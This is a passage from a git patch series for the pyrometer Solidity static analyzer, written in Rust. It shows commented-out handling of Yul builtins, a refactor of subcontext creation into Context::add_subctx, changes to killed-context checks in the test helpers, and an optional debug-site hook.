U256::zero())), + // )); + + // next.set_range_min(analyzer, arena, expr.clone()) + // .into_expr_err(loc)?; + // next.set_range_max(analyzer, arena, expr) + // .into_expr_err(loc)?; + // ctx.push_expr(ExprRet::Single(next.into()), analyzer) + // .into_expr_err(loc) + // }) + // }) + // } + // "iszero" => { + // if arguments.len() != 1 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `iszero` expects 1 arguments found: {:?}", + // arguments.len() + // ), + // )); + // } + + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `iszero` operation had no input".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // let cnode = ConcreteNode::from( + // analyzer.add_node(Node::Concrete(Concrete::from(U256::from(0)))), + // ); + // let tmp_true = Node::ContextVar( + // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) + // .into_expr_err(loc)?, + // ); + // let rhs_paths = + // ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_true)).into()); + + // analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, RangeOp::Eq, &rhs_paths) + // }) + // } + // "addmod" | "mulmod" => { + // let b = Builtin::Uint(256); + // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "msize" | "pc" | "mload" | "sload" | "gas" | "returndatasize" => { + // // TODO: actually handle this. @MemoryModel + // let b = Builtin::Uint(256); + // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "calldatacopy" => { + // // TODO: actually handle this. @MemoryModel + // Ok(()) + // } + // "calldatasize" => { + // // TODO: actually handle this. @MemoryModel + // let b = Builtin::Uint(256); + // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "calldataload" => { + // if arguments.len() != 1 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `calldataload` expects 1 arguments found: {:?}", + // arguments.len() + // ), + // )); + // } + + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `calldataload` operation had no input".to_string(), + // )); + // }; + // // TODO: check const version + // let b = Builtin::Uint(256); + // let mut var = ContextVar::new_from_builtin( + // loc, + // analyzer.builtin_or_add(b).into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // var.display_name = format!( + // "calldata[{}:{}+32]", + // elem.display_name(analyzer).into_expr_err(loc)?, + // elem.display_name(analyzer).into_expr_err(loc)? + // ); + // let node = analyzer.add_node(Node::ContextVar(var)); + // ctx.push_expr(ExprRet::Single(node), analyzer) + // .into_expr_err(loc) + // }) + // } + // "keccak256" => { + // let b = Builtin::Bytes(32); + // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "call" | "delegatecall" | "callcode" | "staticcall" => { + // let b = Builtin::Uint(256); + // let mut var = + // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b.clone()).into(), self) + // .into_expr_err(*loc)?; + // var.display_name = format!("{id}_success"); + // let mut range = SolcRange::try_from_builtin(&b).unwrap(); + // range.min = Elem::from(Concrete::from(U256::from(0))); + // range.max = Elem::from(Concrete::from(U256::from(1))); + // var.ty.set_range(range).into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "create" | "create2" => { + // let b = Builtin::Address; + // let mut var = + // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // var.display_name = format!("{id}_success"); + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "returndatacopy" => { + // ctx.push_expr(ExprRet::Multi(vec![]), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "byte" => { + // let b = Builtin::Uint(8); + // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "mstore" | "mstore8" => { + // // TODO: improve this. Right now we are extremely pessimistic and just say we know nothing about memory variables anymore. + // // We should check if the location is a reference to an existing var and update based on that + // // @MemoryModel + // let vars = ctx.local_vars(self).clone(); + // vars.into_iter().try_for_each(|(_name, var)| { + // // widen to any max range + // let latest_var = var.latest_version_or_inherited_in_ctx(ctx, self); + // if matches!( + // latest_var.underlying(self).into_expr_err(*loc)?.storage, + // Some(StorageLocation::Memory(_)) + // ) { + // let res = latest_var.ty(self).into_expr_err(*loc)?; + // if let Some(r) = res.default_range(self).unwrap() { + // let new_var = self.advance_var_in_ctx(latest_var, *loc, ctx).unwrap(); + // let res = new_var + // .set_range_min(self, arena, r.min) + // .into_expr_err(*loc); + // let _ = self.add_if_err(res); + // let res = new_var + // .set_range_max(self, arena, r.max) + // .into_expr_err(*loc); + // let _ = self.add_if_err(res); + // } + // } + // Ok(()) + // })?; + // ctx.push_expr(ExprRet::Multi(vec![]), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "sstore" => { + // if arguments.len() != 2 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `{}` expects 2 arguments found: {:?}", + // id.name, + // arguments.len() + // ), + // )); + // } + + // self.parse_inputs(arena, ctx, *loc, arguments)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(mut lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::InvalidFunctionInput( + // loc, + // "Yul `sload` operation had no inputs".to_string(), + // )); + // }; + + // if lhs_paths.expect_length(2).into_expr_err(loc).is_err() { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `sload` operation had no rhs".to_string(), + // )); + // } + // let value = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); + // let slot = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); + // let cvar = ContextVarNode::from(slot.expect_single().unwrap()); + + // if let Some(slot) = cvar.slot_to_storage(analyzer) { + // analyzer.match_assign_sides( + // arena, + // ctx, + // loc, + // &ExprRet::Single(slot.into()), + // &value, + // )?; + // } else { + // // TODO: improve this. We now handle `slot` but should try to figure out storage layout + // let vars = ctx.local_vars(analyzer).clone(); + // vars.iter().try_for_each(|(_name, var)| { + // // widen to any max range + // let latest_var = var.latest_version(analyzer); + // if matches!( + // latest_var.underlying(analyzer).into_expr_err(loc)?.storage, + // Some(StorageLocation::Storage(_)) + // ) { + // let res = latest_var.ty(analyzer).into_expr_err(loc)?; + // if let Some(r) = res.default_range(analyzer).unwrap() { + // let new_var = + // analyzer.advance_var_in_ctx(latest_var, loc, ctx).unwrap(); + // let res = new_var + // .set_range_min(analyzer, arena, r.min) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // let res = new_var + // .set_range_max(analyzer, arena, r.max) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // } + // } + // Ok(()) + // })?; + // } + // Ok(()) + // })?; + // ctx.push_expr(ExprRet::Multi(vec![]), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "balance" => { + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `balance` operation had no input".to_string(), + // )); + // }; + + // let b = Builtin::Uint(256); + // let mut var = ContextVar::new_from_builtin( + // loc, + // analyzer.builtin_or_add(b).into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // var.display_name = format!( + // "balance({})", + // elem.display_name(analyzer).into_expr_err(loc)? + // ); + // let node = analyzer.add_node(Node::ContextVar(var)); + // ctx.push_expr(ExprRet::Single(node), analyzer) + // .into_expr_err(loc) + // }) + // } + // "selfbalance" => { + // let b = Builtin::Uint(256); + // let mut var = + // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // var.display_name = "selfbalance()".to_string(); + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc) + // } + // "address" => { + // let b = Builtin::Address; + // let mut var = + // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // var.display_name = "address()".to_string(); + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc) + // } + // "extcodesize" => { + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `extcodesize` operation had no input".to_string(), + // )); + // }; + + // let b = Builtin::Uint(256); + // let mut var = ContextVar::new_from_builtin( + // loc, + // analyzer.builtin_or_add(b).into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // var.display_name = format!( + // "extcodesize({})", + // elem.display_name(analyzer).into_expr_err(loc)? + // ); + // let node = analyzer.add_node(Node::ContextVar(var)); + // ctx.push_expr(ExprRet::Single(node), analyzer) + // .into_expr_err(loc) + // }) + // } + // "codesize" => { + // let b = Builtin::Uint(256); + // let mut var = + // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) + // .into_expr_err(*loc)?; + // var.display_name = "codesize()".to_string(); + // let node = self.add_node(var); + // ctx.push_expr(ExprRet::Single(node), self) + // .into_expr_err(*loc) + // } + // "codecopy" => { + // if arguments.len() != 3 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `{}` expects 3 arguments found: {:?}", + // id.name, + // arguments.len() + // ), + // )); + // } + + // self.parse_inputs(arena, ctx, *loc, arguments)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `codecopy` operation had no input".to_string(), + // )); + // }; + // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) + // .into_expr_err(loc) + // }) + // } + // "extcodecopy" => { + // if arguments.len() != 4 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `{}` expects 4 arguments found: {:?}", + // id.name, + // arguments.len() + // ), + // )); + // } + + // self.parse_inputs(arena, ctx, *loc, arguments)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `extcodecopy` operation had no input".to_string(), + // )); + // }; + // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) + // .into_expr_err(loc) + // }) + // } + // "extcodehash" => { + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul `extcodesize` operation had no input".to_string(), + // )); + // }; + + // let b = Builtin::Bytes(32); + // let mut var = ContextVar::new_from_builtin( + // loc, + // analyzer.builtin_or_add(b).into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // var.display_name = format!( + // "extcodehash({})", + // elem.display_name(analyzer).into_expr_err(loc)? + // ); + // let node = analyzer.add_node(Node::ContextVar(var)); + // ctx.push_expr(ExprRet::Single(node), analyzer) + // .into_expr_err(loc) + // }) + // } + // _ => Err(ExprErr::Todo( + // *loc, + // format!("Unhandled yul function: \"{}\"", id.name), + // )), + // } } fn return_yul(&mut self, ctx: ContextNode, loc: Loc, size: ExprRet) -> Result<(), ExprErr> { @@ -744,27 +730,4 @@ pub trait YulFuncCaller: ExprRet::Null => Ok(()), } } - - // fn byte_index(&mut self, var: ExprRet, index: ExprRet) -> Result { - // match (var, index) { - // (ExprRet::Single(var_idx) - // | ExprRet::Single(var_idx), - // ExprRet::Single(index_idx) - // | ExprRet::Single(index_idx), - // ) => { - - // } - // } - // } - - #[tracing::instrument(level = "trace", skip_all)] - fn parse_inputs( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - inputs: &[YulExpression], - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - } } From 53e4c2123bde956b5be91eef12037e41605f7871 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Wed, 17 Jul 2024 10:58:33 -0700 Subject: [PATCH 11/52] fix ifs, add more support --- crates/graph/src/nodes/context/underlying.rs | 26 +- crates/graph/src/nodes/context/variables.rs | 14 +- crates/graph/src/nodes/context/versioning.rs | 6 +- crates/pyrometer/tests/helpers.rs | 31 +- crates/pyrometer/tests/test_data/abstract.sol | 58 +- crates/shared/src/flattened.rs | 4 +- crates/solc-expressions/src/array.rs | 4 +- crates/solc-expressions/src/cond_op.rs | 8 +- .../src/context_builder/flattened.rs | 147 ++- .../src/context_builder/stmt.rs | 2 +- .../src/func_call/func_caller.rs | 3 +- .../solc-expressions/src/func_call/helper.rs | 57 +- .../src/func_call/internal_call.rs | 307 ++++--- .../func_call/intrinsic_call/precompile.rs | 8 +- .../src/func_call/modifier.rs | 15 +- .../src/func_call/namespaced_call.rs | 859 +++++++++--------- crates/solc-expressions/src/loops.rs | 6 +- .../solc-expressions/src/yul/yul_builder.rs | 2 +- .../solc-expressions/src/yul/yul_cond_op.rs | 20 +- 19 files changed, 872 insertions(+), 705 deletions(-) diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 240044fc..86ca74c4 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -4,7 +4,7 @@ use crate::{ ModifierState, }, solvers::dl::DLSolver, - AnalyzerBackend, + AnalyzerBackend, ContextEdge, Edge, Node, }; use shared::GraphError; @@ -340,6 +340,12 @@ pub struct Context { pub applies: Vec, } +impl From for Node { + fn from(c: Context) -> Node { + Node::Context(c) + } +} + impl Context { /// Creates a new context from a function pub fn new(parent_fn: FunctionNode, fn_name: String, loc: Loc) -> Self { @@ -446,13 +452,27 @@ impl Context { }) } + pub fn add_subctx( + subctx_kind: SubContextKind, + loc: Loc, + analyzer: &mut impl AnalyzerBackend, + modifier_state: Option, + ) -> Result { + let ctx = Context::new_subctx(subctx_kind, loc, analyzer, modifier_state)?; + let ctx_node = ContextNode::from(analyzer.add_node(ctx)); + if let Some(cont) = ctx_node.underlying(analyzer)?.continuation_of() { + analyzer.add_edge(ctx_node, cont, Edge::Context(ContextEdge::Continue("TODO"))); + } + Ok(ctx_node) + } + pub fn new_loop_subctx( parent_ctx: ContextNode, loc: Loc, analyzer: &mut impl AnalyzerBackend, - ) -> Result { + ) -> Result { let subctx_kind = SubContextKind::Loop { parent_ctx }; - Context::new_subctx(subctx_kind, loc, analyzer, None) + Context::add_subctx(subctx_kind, loc, analyzer, None) } /// Set the child context to a fork diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index fa6d892b..b81b5a32 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -93,10 +93,16 @@ impl ContextNode { name: &str, ) -> Result, GraphError> { if let Some(var) = self.var_by_name(analyzer, name) { - Ok(Some(var)) - } else if let Some(parent) = self.ancestor_in_fn(analyzer, self.associated_fn(analyzer)?)? { - parent.var_by_name_or_recurse(analyzer, name) - } else if let Some(parent) = self.underlying(analyzer)?.continuation_of() { + return Ok(Some(var)); + } + + if let Some(parent) = self.ancestor_in_fn(analyzer, self.associated_fn(analyzer)?)? { + if let Some(in_parent) = parent.var_by_name_or_recurse(analyzer, name)? { + return Ok(Some(in_parent)); + } + } + + if let Some(parent) = self.underlying(analyzer)?.continuation_of() { parent.var_by_name_or_recurse(analyzer, name) } else { Ok(None) diff --git a/crates/graph/src/nodes/context/versioning.rs b/crates/graph/src/nodes/context/versioning.rs index 46689e87..92543d97 100644 --- a/crates/graph/src/nodes/context/versioning.rs +++ b/crates/graph/src/nodes/context/versioning.rs @@ -322,7 +322,7 @@ impl ContextNode { for _ in 0..end_worlds.len().saturating_sub(1) { let curr = stack.pop_front().unwrap(); - let left_ctx = Context::new_subctx( + let left_subctx = Context::add_subctx( SubContextKind::Fork { parent_ctx: curr, true_side: true, @@ -331,8 +331,7 @@ impl ContextNode { analyzer, None, )?; - let left_subctx = ContextNode::from(analyzer.add_node(Node::Context(left_ctx))); - let right_ctx = Context::new_subctx( + let right_subctx = Context::add_subctx( SubContextKind::Fork { parent_ctx: curr, true_side: false, @@ -341,7 +340,6 @@ impl ContextNode { analyzer, None, )?; - let right_subctx = ContextNode::from(analyzer.add_node(Node::Context(right_ctx))); curr.set_child_fork(left_subctx, right_subctx, analyzer)?; stack.push_back(left_subctx); diff --git a/crates/pyrometer/tests/helpers.rs b/crates/pyrometer/tests/helpers.rs index 02f28c97..d04e2b1c 100644 --- a/crates/pyrometer/tests/helpers.rs +++ b/crates/pyrometer/tests/helpers.rs @@ -2,6 +2,7 @@ use analyzers::FunctionVarsBoundAnalyzer; use analyzers::ReportConfig; use analyzers::ReportDisplay; use ariadne::sources; +use graph::nodes::KilledKind; use graph::{ elem::Elem, nodes::{Concrete, FunctionNode}, @@ -91,21 +92,31 @@ pub fn no_ctx_killed( let funcs = analyzer.search_children(entry, &Edge::Func); for func in funcs.into_iter() { if let Some(ctx) = FunctionNode::from(func).maybe_body_ctx(&mut analyzer) { - if ctx.killed_loc(&analyzer).unwrap().is_some() { - analyzer - .bounds_for_all(arena, &file_mapping, ctx, config) - .as_cli_compat(&file_mapping) - .print_reports(&mut source_map, &analyzer, arena); - panic!("Killed context in test"); - } - ctx.all_edges(&analyzer).unwrap().iter().for_each(|subctx| { - if subctx.killed_loc(&analyzer).unwrap().is_some() { + let maybe_killed = ctx.killed_loc(&analyzer).unwrap(); + match maybe_killed { + Some((_, KilledKind::Ended)) => {} + Some(..) => { analyzer - .bounds_for_all(arena, &file_mapping, *subctx, config) + .bounds_for_all(arena, &file_mapping, ctx, config) .as_cli_compat(&file_mapping) .print_reports(&mut source_map, &analyzer, arena); panic!("Killed context in test"); } + _ => {} + } + ctx.all_edges(&analyzer).unwrap().iter().for_each(|subctx| { + let maybe_killed = subctx.killed_loc(&analyzer).unwrap(); + match maybe_killed { + Some((_, KilledKind::Ended)) => {} + Some(..) => { + analyzer + .bounds_for_all(arena, &file_mapping, ctx, config) + .as_cli_compat(&file_mapping) + .print_reports(&mut source_map, &analyzer, arena); + panic!("Killed context in test"); + } + _ => {} + } }); } } diff --git a/crates/pyrometer/tests/test_data/abstract.sol b/crates/pyrometer/tests/test_data/abstract.sol index 0a2a922d..e38bb131 100644 --- a/crates/pyrometer/tests/test_data/abstract.sol +++ b/crates/pyrometer/tests/test_data/abstract.sol @@ -12,32 +12,32 @@ abstract contract A { function bar() internal view virtual returns (uint); } -abstract contract YInterface { - function foo() external virtual returns (uint); -} - -contract Y is YInterface { - function foo() public virtual override returns (uint) { - return 1; - } - - function bar(Y y) internal { - y.foo(); - } -} - -abstract contract Base { - function foo() public virtual returns (uint) { - return 0; - } -} - -contract Base2 is Base {} - -contract Base3 is Base2 {} - -contract Test is Base3 { - function foo() public override returns (uint) { - return super.foo(); - } -} +// abstract contract YInterface { +// function foo() external virtual returns (uint); +// } + +// contract Y is YInterface { +// function foo() public virtual override returns (uint) { +// return 1; +// } + +// function bar(Y y) internal { +// y.foo(); +// } +// } + +// abstract contract Base { +// function foo() public virtual returns (uint) { +// return 0; +// } +// } + +// contract Base2 is Base {} + +// contract Base3 is Base2 {} + +// contract Test is Base3 { +// function foo() public override returns (uint) { +// return super.foo(); +// } +// } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 09a87bd5..66c454e2 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -3,7 +3,7 @@ use solang_parser::pt::{Expression, Loc, NamedArgument, Type}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { - FunctionName(usize, bool), + FunctionName(usize, bool, bool), New, Negate, Requirement, @@ -21,7 +21,7 @@ pub enum FlatExpr { }, NamedArgument(Loc, &'static str), - FunctionCallName(usize, bool), + FunctionCallName(usize, bool, bool), Requirement(Loc), Super(Loc, &'static str), diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 5729055b..274a855c 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -109,9 +109,9 @@ pub trait Array: AnalyzerBackend + Sized { analyzer.index_into_array_inner( arena, ctx, - loc, inner_tys.flatten(), index_tys.clone().flatten(), + loc, ) }) }) @@ -122,9 +122,9 @@ pub trait Array: AnalyzerBackend + Sized { &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, inner_paths: ExprRet, index_paths: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match (inner_paths, index_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), diff --git a/crates/solc-expressions/src/cond_op.rs b/crates/solc-expressions/src/cond_op.rs index 37ea5681..2ed9333b 100644 --- a/crates/solc-expressions/src/cond_op.rs +++ b/crates/solc-expressions/src/cond_op.rs @@ -28,11 +28,11 @@ pub trait CondOp: AnalyzerBackend + Requir panic!("cond op"); // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { // let tctx = - // Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) + // Context::add_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) // .into_expr_err(loc)?; // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); // let fctx = - // Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) + // Context::add_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) // .into_expr_err(loc)?; // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); // ctx.set_child_fork(true_subctx, false_subctx, analyzer) @@ -176,12 +176,12 @@ pub trait CondOp: AnalyzerBackend + Requir // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { // let true_subctx_kind = SubContextKind::new_fork(ctx, true); // let tctx = - // Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; + // Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); // let false_subctx_kind = SubContextKind::new_fork(ctx, false); // let fctx = - // Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; + // Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); // ctx.set_child_fork(true_subctx, false_subctx, analyzer) // .into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 935b8f6e..5e1ecc31 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -14,7 +14,10 @@ use graph::{ AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; -use shared::{string_to_static, ExprErr, ExprFlag, FlatExpr, IntoExprErr, NodeIdx, RangeArena}; +use shared::{ + post_to_site, string_to_static, ExprErr, ExprFlag, FlatExpr, GraphError, GraphLike, + IntoExprErr, NodeIdx, RangeArena, USE_DEBUG_SITE, +}; use solang_parser::pt::{CodeLocation, Expression, Identifier, Loc, Statement}; impl Flatten for T where @@ -345,11 +348,11 @@ pub trait Flatten: self.traverse_expression(func_expr, unchecked); match self.expr_stack_mut().pop().unwrap() { FlatExpr::Super(loc, name) => { - self.push_expr(FlatExpr::FunctionCallName(input_args.len(), true)); + self.push_expr(FlatExpr::FunctionCallName(input_args.len(), true, true)); self.push_expr(FlatExpr::Variable(loc, name)); } other => { - self.push_expr(FlatExpr::FunctionCallName(input_args.len(), false)); + self.push_expr(FlatExpr::FunctionCallName(input_args.len(), false, true)); self.push_expr(other); } } @@ -376,11 +379,19 @@ pub trait Flatten: self.traverse_expression(func_expr, unchecked); match self.expr_stack_mut().pop().unwrap() { FlatExpr::Super(loc, name) => { - self.push_expr(FlatExpr::FunctionCallName(input_exprs.len(), true)); + self.push_expr(FlatExpr::FunctionCallName( + input_exprs.len(), + true, + false, + )); self.push_expr(FlatExpr::Variable(loc, name)); } other => { - self.push_expr(FlatExpr::FunctionCallName(input_exprs.len(), false)); + self.push_expr(FlatExpr::FunctionCallName( + input_exprs.len(), + false, + false, + )); self.push_expr(other); } } @@ -437,6 +448,9 @@ pub trait Flatten: && ctx.parse_idx(self) < stack.len() { let res = self.interpret_step(arena, ctx, body_loc, &stack[..]); + if unsafe { USE_DEBUG_SITE } { + post_to_site(&*self, arena); + } self.add_if_err(res); } } @@ -486,15 +500,15 @@ pub trait Flatten: let next = *next; tracing::trace!( - "parsing {:?} in context {} - flag: {:?}", + "parsing (idx: {parse_idx}) {:?} in context {} - flag: {:?}", next, ctx.path(self), self.peek_expr_flag() ); match next { // Flag expressions - FunctionCallName(n, is_super) => { - self.set_expr_flag(ExprFlag::FunctionName(n, is_super)); + FunctionCallName(n, is_super, named_args) => { + self.set_expr_flag(ExprFlag::FunctionName(n, is_super, named_args)); Ok(()) } Negate(_) => { @@ -518,7 +532,7 @@ pub trait Flatten: VarDef(..) => self.interp_var_def(arena, ctx, next), Type(..) => self.interp_type(arena, ctx, next), Return(..) => self.interp_return(arena, ctx, next), - Variable(..) => self.interp_var(arena, ctx, next), + Variable(..) => self.interp_var(arena, ctx, stack, next, parse_idx), Assign(..) => self.interp_assign(arena, ctx, next), Not(..) => self.interp_not(arena, ctx, next), @@ -541,7 +555,7 @@ pub trait Flatten: | PreDecrement(loc, ..) => self.interp_xxcrement(arena, ctx, next, loc), ArrayTy(..) => self.interp_array_ty(arena, ctx, next), - ArrayIndexAccess(_) => todo!(), + ArrayIndexAccess(_) => self.interp_array_idx(arena, ctx, next), ArraySlice(_) => todo!(), ArrayLiteral(_) => todo!(), @@ -635,10 +649,10 @@ pub trait Flatten: ctx.push_expr(res, self).into_expr_err(loc) })?; - let new_values = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + let mut new_values = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + new_values.reverse(); ctx.push_expr(ExprRet::Multi(new_values), self) .into_expr_err(loc)?; - ctx.debug_expr_stack(self).unwrap(); Ok(()) } @@ -712,12 +726,12 @@ pub trait Flatten: }; let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let tctx = Context::new_subctx(true_subctx_kind, loc, self, None).into_expr_err(loc)?; - let true_subctx = ContextNode::from(self.add_node(Node::Context(tctx))); + let true_subctx = + Context::add_subctx(true_subctx_kind, loc, self, None).into_expr_err(loc)?; let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let fctx = Context::new_subctx(false_subctx_kind, loc, self, None).into_expr_err(loc)?; - let false_subctx = ContextNode::from(self.add_node(Node::Context(fctx))); + let false_subctx = + Context::add_subctx(false_subctx_kind, loc, self, None).into_expr_err(loc)?; ctx.set_child_fork(true_subctx, false_subctx, self) .into_expr_err(loc)?; let ctx_fork = self.add_node(Node::ContextFork); @@ -738,24 +752,33 @@ pub trait Flatten: self.interpret_step(arena, true_subctx, loc, stack)?; } // skip the false condition expressions - true_subctx.skip_n_exprs(false_cond, self); + self.modify_edges(true_subctx, loc, &|analyzer, true_subctx| { + true_subctx.skip_n_exprs(false_cond, analyzer); + Ok(()) + })?; // skip the true condition expressions false_subctx.skip_n_exprs(true_cond, self); // parse the false condition expressions - for i in 0..false_cond { + for _ in 0..false_cond { self.interpret_step(arena, false_subctx, loc, stack)?; } // todo: the kill check - for i in 0..true_body { + for 